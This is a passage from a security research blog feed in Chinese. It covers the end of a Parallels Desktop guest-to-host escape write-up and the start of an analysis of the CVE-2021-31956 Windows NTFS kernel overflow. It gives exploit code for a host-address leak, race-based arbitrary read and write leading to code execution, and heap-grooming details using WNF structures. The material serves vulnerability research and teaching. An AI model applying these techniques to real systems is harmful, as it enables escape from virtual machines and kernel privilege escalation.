class="line">        queue_result* queue_result;</span><br><span class="line">    &#125; control_queue;</span><br><span class="line">    ...</span><br><span class="line">&#125; gpu_buffer;</span><br></pre></td></tr></table></figure><h3 id="地址信息泄露"><a class="markdownIt-Anchor" href="#地址信息泄露"></a> 地址信息泄露</h3><p>通过调试发现，prl_vm_app的地址空间如下所示。开启了地址随机化以后，Image Base从0x1xxxxx000的一个随机地址开始，紧接着就是Guest Memory。如果虚拟机的物理内存足够大，比如超过4G，那么很大概率上一些固定的Host虚拟地址（如0x200000000）肯定会落在Guest Memory上。</p><p><img src="Untitled%202.png" alt="Untitled" /></p><p>在GPU处理的过程中，queue_result保存交互的地址映射信息。如下所示，GPU从virtio queue取出对应的内存地址和数据长度，通过gpa_to_hva将其翻译为Host上的虚拟地址，写回到mem_handlers。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">v2 = a1-&gt;cursor_queue.queue_result;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        v5 = v2-&gt;mem_handlers;</span><br><span class="line">        gpa_to_hva(</span><br><span class="line">        v2-&gt;mem_handlers,</span><br><span class="line">        a1-&gt;cursor_queue.chunk.desc_array[<span class="number">0</span>].addr,</span><br><span class="line">        a1-&gt;cursor_queue.chunk.desc_array[<span class="number">0</span>].length);</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="type">uint64_t</span> hva;</span><br><span class="line">    <span class="type">uint64_t</span> gpa;</span><br><span class="line">    <span class="type">uint32_t</span> length;</span><br><span class="line">&#125; mem_handler;</span><br></pre></td></tr></table></figure><p>在利用时，我将queue_result指针修改为一固定的常量0x180000000，然后触发virtio-gpu任意请求，Host将地址翻译信息写入到queue_result（已经将指针篡改为0x180000000）。接着我在整个虚拟机的物理内存里搜索被修改的物理页，从而推断出Guest Memory在对应宿主机的虚拟地址。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint64_t</span> fake_hva = <span class="number">0x180000000</span>;</span><br><span class="line"><span class="type">uint32_t</span> search_ptr = <span class="number">0x01000000</span>;</span><br><span class="line"><span class="type">uint32_t</span> search_end = <span class="number">0xb0000000</span>;</span><br><span class="line"><span class="type">uint64_t</span> guest_base = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(search_ptr &lt; search_end)&#123;</span><br><span class="line">    <span class="keyword">if</span>(*(<span class="type">uint32_t</span>*)search_ptr == <span class="number">0xfffffffe</span>)&#123;</span><br><span class="line">        kprintf(<span class="string">&quot;find target addr at: 0x%x\n&quot;</span>,search_ptr);</span><br><span class="line">        guest_base = fake_hva - (<span class="type">uint64_t</span>)search_ptr;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    search_ptr += <span class="number">0x1000</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(search_ptr == search_end)&#123;</span><br><span class="line">    kprintf(<span class="string">&quot;can&#x27;t find target addr\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">kprintf(<span class="string">&quot;VM base addr: 0x%lx&quot;</span>,guest_base);</span><br></pre></td></tr></table></figure><h3 id="任意地址读"><a class="markdownIt-Anchor" href="#任意地址读"></a> 任意地址读</h3><p>将queue_result篡改指向到了Guest物理内存，不仅可以实现信息泄露，而且方便后面的利用。因为它保存着交互时的地址信息，通过篡改里面的数据，可以实现任意地址读写。</p><p>我利用到了下面的一段gadget，这是GPU处理不同请求时的一个代码分支，在第8行到第17行的代码内容是将虚拟机的v19-&gt;mem_handlers[0].hva数据写回到v19-&gt;mem_handlers[2].hva中。正常情况下它们保存着经过gpa_to_hva翻译的地址，用来指示GPU从哪里读数据，往哪里写数据。Guest和virtio-gpu约定数据从v19-&gt;mem_handlers[0].hva读入，返回结果写回到v19-&gt;mem_handlers[2].hva。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> ( dword_10101ED68 &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    debug(<span class="string">&quot;&quot;</span>, <span class="string">&quot;LocalDevices&quot;</span>, <span class="number">1u</span>, <span class="string">&quot;[%s] Incorect command size&quot;</span>, <span class="string">&quot;SUBMIT_3D&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">goto</span> LABEL_5;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">  v19 = v1-&gt;control_queue.queue_result;</span><br><span class="line">  gpa_to_hva(&amp;v19-&gt;mem_handlers[<span class="number">2</span>], v19-&gt;output_gpa, v19-&gt;output_length);</span><br><span class="line">  v20 = (_QWORD *)v19-&gt;mem_handlers[<span class="number">2</span>].hva;</span><br><span class="line">  a4 = v19-&gt;output_length;</span><br><span class="line">  <span class="keyword">if</span> ( a4 &gt;= <span class="number">0x19u</span>LL )</span><br><span class="line">    __bzero(v20, a4);</span><br><span class="line">  v21 = (_QWORD *)v19-&gt;mem_handlers[<span class="number">0</span>].hva;</span><br><span class="line">  v22 = v21[<span class="number">1</span>];</span><br><span class="line">  *v20 = *v21;</span><br><span class="line">  v20[<span class="number">2</span>] = v21[<span class="number">2</span>];</span><br><span class="line">  v20[<span class="number">1</span>] = v22;</span><br><span class="line">  *(_DWORD *)v20 = <span class="number">0x1200</span>;</span><br><span class="line">  <span class="keyword">goto</span> LABEL_5;</span><br></pre></td></tr></table></figure><p>在调用该请求时再次启用新的线程，修改v19-&gt;mem_handlers[0].hva为任意地址，即可以实现任意地址读，将数据写回到v19-&gt;mem_handlers[2].hva</p><h3 id="任意地址写"><a class="markdownIt-Anchor" href="#任意地址写"></a> 任意地址写</h3><p>任意地址写的方法和上述类似，在第8行完成v19-&gt;mem_handlers[2]的地址翻译以后，通过Race将v19-&gt;mem_handlers[2].hva迅速改为任意需要写的地址。只不过相比于任意地址读，这个方法的race窗口非常小，只能在第8行gpa_to_hva函数退出后，第9行v20赋值前，修改掉v19-&gt;mem_handlers[2].hva才能成功实现任意地址写。不过这种方法可以无限次调用，尝试几次总会成功的。</p><p>有了任意地址读写以后，首先通过Guest Memory Base在内存临近出搜索Image Base，找到链接库，计算libc里的system地址，最终通过篡改函数指针实现任意代码执行。</p><div id="dplayer3" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer3"),"loop":"yes","screenshot":"yes","video":{"url":"/pd-exploit-blog1/parallel.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="参考资料"><a class="markdownIt-Anchor" href="#参考资料"></a> 参考资料</h2><ol><li><a href="https://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities">https://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities</a></li><li><a href="https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device">https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device</a></li><li><a href="https://trenchant.io/pwn2own-2021-parallels-desktop-guest-to-host-escape/">https://trenchant.io/pwn2own-2021-parallels-desktop-guest-to-host-escape/</a></li><li><a href="https://zerodayengineering.com/projects/slides/ZDE2021_AdvancedEasyPwn2Own2021.pdf">https://zerodayengineering.com/projects/slides/ZDE2021_AdvancedEasyPwn2Own2021.pdf</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Parallels Desktop是在macOS系统下的一款虚拟机软件，帮助用户在macOS上运行Windows、Linux等操作系统。在2021年9月份我开始了Parallels Desktop的安全研究，期间发现了若干高危漏洞，非常不幸地是在最近一次更新中，我的漏洞被修补掉了。我写这篇文章用于介绍我的Parallels Desktop研究过程，以及发现漏洞、利用漏洞的技术细节。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>CVE-2021-31956漏洞分析</title>
    <link href="https://dawnslab.jd.com/CVE-2021-31956/"/>
    <id>https://dawnslab.jd.com/CVE-2021-31956/</id>
    <published>2021-12-23T10:19:24.000Z</published>
    <updated>2025-08-21T06:15:23.742Z</updated>
    
    <content type="html"><![CDATA[<h1 id="概述"><a class="markdownIt-Anchor" href="#概述"></a> 概述</h1><p>CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞，攻击者可以利用此漏洞实现本地权限提升，<a href="https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/">nccgroup的博客</a>已经进行了详细的利用分析，不过并没有贴出exploit的源代码。</p><p>本篇文章记录一下自己学习windows exploit的过程，使用的利用技巧和nccgroup提到的大同小异，仅供学习参考。</p><span id="more"></span><h1 id="漏洞定位"><a class="markdownIt-Anchor" href="#漏洞定位"></a> 漏洞定位</h1><p>漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)，NTFS文件系统允许为每一个文件额外存储若干个键值对属性，称之为EA(Extend Attribution) 。从微软的开发文档上可以查出，有一些系统调用是用来处理键值对的读写操作。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 为文件创建EA</span></span><br><span class="line">NTSTATUS <span class="title function_">ZwSetEaFile</span><span class="params">(</span></span><br><span class="line"><span class="params">  [in]  HANDLE           FileHandle,</span></span><br><span class="line"><span class="params">  [out] PIO_STATUS_BLOCK IoStatusBlock,</span></span><br><span class="line"><span class="params">  [in]  PVOID            Buffer,</span></span><br><span class="line"><span class="params">  [in]  ULONG            Length</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"><span class="comment">// 查询文件EA</span></span><br><span class="line">NTSTATUS <span class="title function_">ZwQueryEaFile</span><span class="params">(</span></span><br><span class="line"><span class="params">  [in]           HANDLE           FileHandle,</span></span><br><span class="line"><span class="params">  [out]          PIO_STATUS_BLOCK IoStatusBlock,</span></span><br><span class="line"><span class="params">  [out]          PVOID            Buffer, <span class="comment">// PFILE_FULL_EA_INFORMATION</span></span></span><br><span class="line"><span class="params">  [in]           ULONG            Length,</span></span><br><span class="line"><span class="params">  [in]           BOOLEAN          ReturnSingleEntry,</span></span><br><span class="line"><span class="params">  [in, optional] PVOID            EaList, <span class="comment">// PFILE_GET_EA_INFORMATION</span></span></span><br><span class="line"><span class="params">  [in]           ULONG            EaListLength,</span></span><br><span class="line"><span class="params">  [in, optional] PULONG           EaIndex,</span></span><br><span class="line"><span class="params">  [in]           BOOLEAN          RestartScan</span></span><br><span class="line"><span class="params">)</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">FILE_GET_EA_INFORMATION</span> &#123;</span></span><br><span class="line">  ULONG NextEntryOffset;</span><br><span class="line">  UCHAR EaNameLength;</span><br><span class="line">  CHAR  EaName[<span class="number">1</span>];</span><br><span class="line">&#125; FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">FILE_FULL_EA_INFORMATION</span> &#123;</span></span><br><span class="line">  ULONG  NextEntryOffset;</span><br><span class="line">  UCHAR  Flags;</span><br><span class="line">  UCHAR  EaNameLength;</span><br><span class="line">  USHORT EaValueLength;</span><br><span class="line">  CHAR   EaName[<span class="number">1</span>];</span><br><span class="line">&#125; FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;</span><br></pre></td></tr></table></figure><p>如下是查询EA的系统调用实现，查询时接收一个用户传入的字典的key集合eaList，将查询到的键值对写入到output_buffer。每次写完一个键值对，需要四字节对齐，函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度，同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length，两个uint32相减以后发生整数溢出绕过检查，在后面memmove的时候实现任意长度，任意内容越界写。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line">_QWORD *__fastcall <span class="title function_">NtfsQueryEaUserEaList</span><span class="params">(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, <span class="type">unsigned</span> <span class="type">int</span> output_buffer_length, PFILE_GET_EA_INFORMATION eaList, <span class="type">char</span> a7)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// edi</span></span><br><span class="line">  ULONG eaList_iter; <span class="comment">// ebx</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> padding_length; <span class="comment">// er15</span></span><br><span class="line">  PFILE_GET_EA_INFORMATION current_ea; <span class="comment">// r12</span></span><br><span class="line">  ULONG v12; <span class="comment">// er14</span></span><br><span class="line">  UCHAR v13; <span class="comment">// r13</span></span><br><span class="line">  PFILE_GET_EA_INFORMATION i; <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> output_idx_; <span class="comment">// ebx</span></span><br><span class="line">  FILE_FULL_EA_INFORMATION *output_iter; <span class="comment">// r13</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> current_ea_output_length; <span class="comment">// er14</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v18; <span class="comment">// ebx</span></span><br><span class="line">  FILE_FULL_EA_INFORMATION *v20; <span class="comment">// rdx</span></span><br><span class="line">  <span class="type">char</span> v21; <span class="comment">// al</span></span><br><span class="line">  ULONG next_iter; <span class="comment">// [rsp+20h] [rbp-38h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v23; <span class="comment">// [rsp+24h] [rbp-34h] BYREF</span></span><br><span class="line">  FILE_FULL_EA_INFORMATION *v24; <span class="comment">// [rsp+28h] [rbp-30h]</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">STRING</span> <span class="title">reqEaName</span>;</span> <span class="comment">// [rsp+30h] [rbp-28h] BYREF</span></span><br><span class="line">  STRING SourceString; <span class="comment">// [rsp+40h] [rbp-18h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> output_idx; <span class="comment">// [rsp+A0h] [rbp+48h]</span></span><br><span class="line"></span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  *a1 = <span class="number">0</span>i64;</span><br><span class="line">  v24 = <span class="number">0</span>i64;</span><br><span class="line">  eaList_iter = <span class="number">0</span>;</span><br><span class="line">  output_idx = <span class="number">0</span>;</span><br><span class="line">  padding_length = <span class="number">0</span>;</span><br><span class="line">  a1[<span class="number">1</span>] = <span class="number">0</span>i64;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    current_ea = (PFILE_GET_EA_INFORMATION)((<span class="type">char</span> *)eaList + eaList_iter);</span><br><span class="line">    *(_QWORD *)&amp;reqEaName.Length = <span class="number">0</span>i64;</span><br><span class="line">    reqEaName.Buffer = <span class="number">0</span>i64;</span><br><span class="line">    *(_QWORD *)&amp;SourceString.Length = <span class="number">0</span>i64;</span><br><span class="line">    SourceString.Buffer = <span class="number">0</span>i64;</span><br><span class="line">    *(_QWORD *)&amp;reqEaName.Length = current_ea-&gt;EaNameLength;</span><br><span class="line">    reqEaName.MaximumLength = reqEaName.Length;</span><br><span class="line">    reqEaName.Buffer = current_ea-&gt;EaName;</span><br><span class="line">    RtlUpperString(&amp;reqEaName, &amp;reqEaName);</span><br><span class="line">    <span class="keyword">if</span> ( !NtfsIsEaNameValid(&amp;reqEaName) )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v12 = current_ea-&gt;NextEntryOffset;</span><br><span class="line">    v13 = current_ea-&gt;EaNameLength;</span><br><span class="line">    next_iter = current_ea-&gt;NextEntryOffset + eaList_iter;</span><br><span class="line">    <span class="keyword">for</span> ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((<span class="type">char</span> *)i + i-&gt;NextEntryOffset) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( i == current_ea )</span><br><span class="line">      &#123;</span><br><span class="line">        output_idx_ = output_idx;</span><br><span class="line">        output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);</span><br><span class="line">        <span class="keyword">if</span> ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + <span class="number">4</span>), &amp;reqEaName, &amp;v23) )</span><br><span class="line">        &#123;                                       <span class="comment">// Find EA</span></span><br><span class="line">          v20 = (FILE_FULL_EA_INFORMATION *)((<span class="type">char</span> *)ea_blocks_for_file + v23);</span><br><span class="line">          current_ea_output_length = v20-&gt;EaValueLength + v20-&gt;EaNameLength + <span class="number">9</span>;</span><br><span class="line">          <span class="keyword">if</span> ( current_ea_output_length &lt;= output_buffer_length - padding_length )                   <span class="comment">// 【A】</span></span><br><span class="line">          &#123;</span><br><span class="line">            memmove(output_iter, v20, current_ea_output_length);</span><br><span class="line">            output_iter-&gt;NextEntryOffset = <span class="number">0</span>;</span><br><span class="line">            <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;                                       <span class="comment">// EA not found??</span></span><br><span class="line">          current_ea_output_length = current_ea-&gt;EaNameLength + <span class="number">9</span>;</span><br><span class="line">          <span class="keyword">if</span> ( current_ea_output_length + padding_length &lt;= output_buffer_length )</span><br><span class="line">          &#123;</span><br><span class="line">            output_iter-&gt;NextEntryOffset = <span class="number">0</span>;</span><br><span class="line">            output_iter-&gt;Flags = <span class="number">0</span>;</span><br><span class="line">            output_iter-&gt;EaNameLength = current_ea-&gt;EaNameLength;</span><br><span class="line">            output_iter-&gt;EaValueLength = <span class="number">0</span>;</span><br><span class="line">            memmove(output_iter-&gt;EaName, current_ea-&gt;EaName, current_ea-&gt;EaNameLength);</span><br><span class="line">            SourceString.Length = reqEaName.Length;</span><br><span class="line">            SourceString.MaximumLength = reqEaName.Length;</span><br><span class="line">            SourceString.Buffer = output_iter-&gt;EaName;</span><br><span class="line">            RtlUpperString(&amp;SourceString, &amp;SourceString);</span><br><span class="line">            output_idx_ = output_idx;</span><br><span class="line">            output_iter-&gt;EaName[current_ea-&gt;EaNameLength] = <span class="number">0</span>;</span><br><span class="line">LABEL_8:</span><br><span class="line">            v18 = current_ea_output_length + padding_length + output_idx_;</span><br><span class="line">            output_idx = v18;</span><br><span class="line">            <span class="keyword">if</span> ( !a7 )</span><br><span class="line">            &#123;</span><br><span class="line">              <span class="keyword">if</span> ( v24 )</span><br><span class="line">                v24-&gt;NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;</span><br><span class="line">              <span class="keyword">if</span> ( current_ea-&gt;NextEntryOffset )</span><br><span class="line">              &#123;</span><br><span class="line">                v24 = output_iter;</span><br><span class="line">                output_buffer_length -= current_ea_output_length + padding_length;</span><br><span class="line">                padding_length = ((current_ea_output_length + <span class="number">3</span>) &amp; <span class="number">0xFFFFFFFC</span>) - current_ea_output_length;</span><br><span class="line">                <span class="keyword">goto</span> LABEL_26;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h1 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析"></a> 漏洞分析</h1><p>在具体介绍利用之前，需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理，称为Segment Heap，这里有篇文章对此进行了详细的描述<a href="https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf">https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf</a>。</p><p>每个堆块有个堆头用来记录元信息，占据了16个字节，结构如下。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line"><span class="type">char</span> previousSize;</span><br><span class="line"><span class="type">char</span> poolIndex;</span><br><span class="line"><span class="type">char</span> blockSize;</span><br><span class="line"><span class="type">char</span> poolType;</span><br><span class="line"><span class="type">int</span> tag;</span><br><span class="line"><span class="type">void</span>* processBilled;</span><br><span class="line">&#125;PoolHeader;</span><br></pre></td></tr></table></figure><h2 id="相对偏移地址读写"><a class="markdownIt-Anchor" href="#相对偏移地址读写"></a> 相对偏移地址读写</h2><p>这个漏洞里，越界对象output_buffer是系统临时申请的堆块，系统调用结束以后会被立即释放，不能持久化保存，这导致<a href="https://github.com/synacktiv/Windows-kernel-SegmentHeap-Aligned-Chunk-Confusion">SegmentHeap Aligned Chunk Confusion</a>的方法在这里并不适用。 通过实验发现windows在free时的检查并不严格，通过合理控制越界内容，破坏掉下一个堆块的PoolHeader以后，并不会触发异常，这允许我们直接覆盖下一个堆块的数据，接下来的目标就是挑选合适的被攻击堆块对象。</p><p>通过查阅资料，我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法，微软并没有提供官方的说明文档，这里不展开介绍，只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例，实例的数据结构为_WNF_NAME_INSTANCE；通过NtUpdateWnfStateData可以往对象里写入数据，使用_WNF_STATE_DATA数据结构存储写入的内容；通过NtQueryWnfStateData可以读取之前写入的数据，通过NtDeleteWnfStateData可以释放掉这个对象。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//0xa8 bytes (sizeof)</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">WNF_NAME_INSTANCE</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_NODE_HEADER</span> <span class="title">Header</span>;</span>                                         <span class="comment">//0x0</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">EX_RUNDOWN_REF</span> <span class="title">RunRef</span>;</span>                                          <span class="comment">//0x8</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">RTL_BALANCED_NODE</span> <span class="title">TreeLinks</span>;</span>                                    <span class="comment">//0x10</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_STATE_NAME_STRUCT</span> <span class="title">StateName</span>;</span>                                <span class="comment">//0x28</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_SCOPE_INSTANCE</span>* <span class="title">ScopeInstance</span>;</span>                              <span class="comment">//0x30</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_STATE_NAME_REGISTRATION</span> <span class="title">StateNameInfo</span>;</span>                      <span class="comment">//0x38</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_LOCK</span> <span class="title">StateDataLock</span>;</span>                                         <span class="comment">//0x50</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_STATE_DATA</span>* <span class="title">StateData</span>;</span>                                      <span class="comment">//0x58</span></span><br><span class="line">    ULONG CurrentChangeStamp;                                               <span class="comment">//0x60</span></span><br><span class="line">    VOID* PermanentDataStore;                                               <span class="comment">//0x68</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_LOCK</span> <span class="title">StateSubscriptionListLock</span>;</span>                             <span class="comment">//0x70</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">LIST_ENTRY</span> <span class="title">StateSubscriptionListHead</span>;</span>                           <span class="comment">//0x78</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">LIST_ENTRY</span> <span class="title">TemporaryNameListEntry</span>;</span>                              <span class="comment">//0x88</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">EPROCESS</span>* <span class="title">CreatorProcess</span>;</span>                                       <span class="comment">//0x98</span></span><br><span class="line">    LONG DataSubscribersCount;                                              <span class="comment">//0xa0</span></span><br><span class="line">    LONG CurrentDeliveryCount;                                              <span class="comment">//0xa4</span></span><br><span class="line">&#125;;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">WNF_STATE_DATA</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> _<span class="title">WNF_NODE_HEADER</span> 